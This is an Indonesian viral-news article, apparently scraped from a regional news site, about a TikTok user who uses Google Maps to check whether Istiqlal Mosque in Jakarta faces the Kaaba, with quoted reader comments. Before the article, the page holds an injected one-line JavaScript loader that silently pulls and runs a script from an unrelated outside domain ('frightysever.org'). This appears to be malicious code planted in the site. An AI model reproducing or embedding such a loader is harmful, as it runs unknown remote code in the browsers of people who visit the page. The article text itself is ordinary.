(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Viral

Apakah Masjid Istiqlal Menghadap Ka’bah? Warganet Ini Temukan Jawabannya

KANALKALIMANTAN.COM – Rasa penasaran menghantui perasaan seorang warganet apakan Masjid Istiqlal di Jakarta benar-benar menghadap Ka’bah yang jadi kiblat ibadah salat umat muslim atau bukan.

Warganet ini pun iseng melakukan riset kecil-kecilan menggunakan Google Maps. Hasilnya? Publik dibuat terkagum-kagum.

Pengujian itu ia bagikan lewat akun TikTok @jalankaki97 dengan menunjukkan rekaman video penelusurannya mengaitkan Masjid Istiqlal ke Ka’bah di Mekkah, Arab Saudi.

Video tersebut berhasil ditonton lebih dari 6 juta kali, begini video hasil pengamatan singkatnya yang sukses menarik perhatian orang-orang.

“Apakah Masjid Istiqlal menghadap Ka’bah?” tulisnya seperti dikutip Suara.com, Rabu (25/2/2021).

Ia lantas membuka aplikasi Google Maps yang ada pada ponselnya. Ia memastikan bahwa masjid itu benar-benar Masjid Istiqlal di Jakarta yang sedang ramai dikunjungi jemaah.

Warganet menguji apakah Masjid Istiqlal menghadap ke Ka’bah (TikTok).

Kemudian warganet ini melakukan ‘zoom out’ dan menentukan titik agar nantinya bisa ditarik garis lurus menuju arah Ka’bah.

Lamat-lamat, dia mengarahkan kursor penarik garis menuju ke tempat Ka’bah berada yakni di Makkah, Arab Saudi.

Meski terlihat seperti kesusahan mencari lokasi Ka’bah dalam peta, akhirnya dia menemukan dan segera menempatkan titik.

Warganet tersebut lantas melakukan ‘zoom out’ untuk melihat garis yang dihubungkan dari kedua titik yakni Masjid Istiqlal dan Ka’bah.

Terlihat di sana garis kuning yang menjadi penghubung antara kedua tempat. Adapun jaraknya ditaksir hampir mencapai 7.919 km.

Dari hasil pengujian singkat akun TikTok @jalankaki97, Masjid Istiqlal terlihat cukup lurus dengan arah Ka’bah sehingga publik pun kagum.

“Menghadap Ka’bah bukan berarti kita menyembah Ka’bah, tetapi merupakan simbol yang ditetapkan Allah bagi kiblat orang-orang Islam,” komentar Zulkarnaen.

“Ngelihat kiblatnya masalah gampang. Mendirikan salatnya yang berat,” balas Rzkyeff.

“Setiap mashid itu pasti sudah diukur kok. Dan itu gak sembarangan karena memang ada orang yang mengukur arah kiblatnya,” timpal Bigetron.

“Biarpun salah karena keterbatasan kita, yang penting tanamin dalam hati kita, yakin kita berada di posisi yang benar dan niat karena Allah. InsyaAllah sah,” sahut Raskay.

Untuk melihat video viral itu, klik di sini.(Suara)

Editor : Suara